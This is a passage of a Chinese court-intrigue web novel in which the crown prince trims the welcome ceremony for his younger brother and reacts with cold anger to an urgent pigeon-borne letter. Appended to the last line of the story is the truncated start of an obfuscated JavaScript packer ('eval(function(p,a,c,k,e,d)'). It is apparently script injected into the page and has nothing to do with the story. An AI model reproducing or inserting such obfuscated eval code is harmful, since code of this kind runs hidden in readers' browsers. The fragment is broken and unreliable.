“我们……没完。”
几天后,一只飞鸽,飞向了东宫后苑。
东宫内萧清卓正倚坐在软榻上,看着礼部送来了的邸报,三殿下萧景行赈灾回京,礼部理应安置迎接。可这规模打小,还得看眼前这位主子的。
东宫内,萧清卓斜倚在软榻上,嘴唇那一抹若有似无的笑意,却未达眼底。
“礼部倒是勤快,三弟回京尚有些日子,这迎接的章程就拟好了。”他的话语中带着写赞许,“只是这规制……”
他顿了顿,“如今国库空虚,处处都要用钱。”萧清卓叹了口气,继续说道,“三弟深明大义,定也不会铺张浪费,也一定不会这样做。”
他抬眼,看向礼部尚书郑长卿:“这样吧,礼部原来拟定的用度,减去四成。至于迎接的官员嘛……”
他略所思索,笑容不变,“不必劳动尚书了,让右侍郎去一趟,也就是了。三弟性子爽朗,不喜欢什么排场,如此安排,正合他意。”
他话说得滴水不漏,处处为三弟着。可字字句句,都是摁下了三殿下回宫的风光。
“殿下思虑周全,体恤下情,奴才敬佩。”礼部尚书下身,恭迎到。
还没等郑长卿起身,殿门被无声推开,东宫属官容齐手持一封未拆的信笺,步履匆匆而入。
容齐先向软榻上的萧清卓迅速行了一礼,声音压得极低:“殿下,磐石镇急报,飞鸽传书。”
萧清卓唇边那温润的笑意未变,他并未立刻去接,对着郑长卿摆了摆手:“方才所说之事,你先去办,具体细则,容后再议。”
“是,微臣告退。”郑长卿心领神会,悄无声息地退出了殿外,并将殿门重新掩好。
待殿内只剩两人,萧清卓才伸出手。容齐立刻上前,将信笺恭敬递上。
萧清卓拆开火漆,抽出内里的纸卷,展开。目光扫过上面的字句,随着阅览,他唇畔那抹温润的笑意如同被冰霜冻结,一点点僵硬、凝固,最终消失得无影无踪。
“嘶——”他手指骤然收紧,信笺在他掌心被揉握成一团,发出刺耳的哗啦声。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36)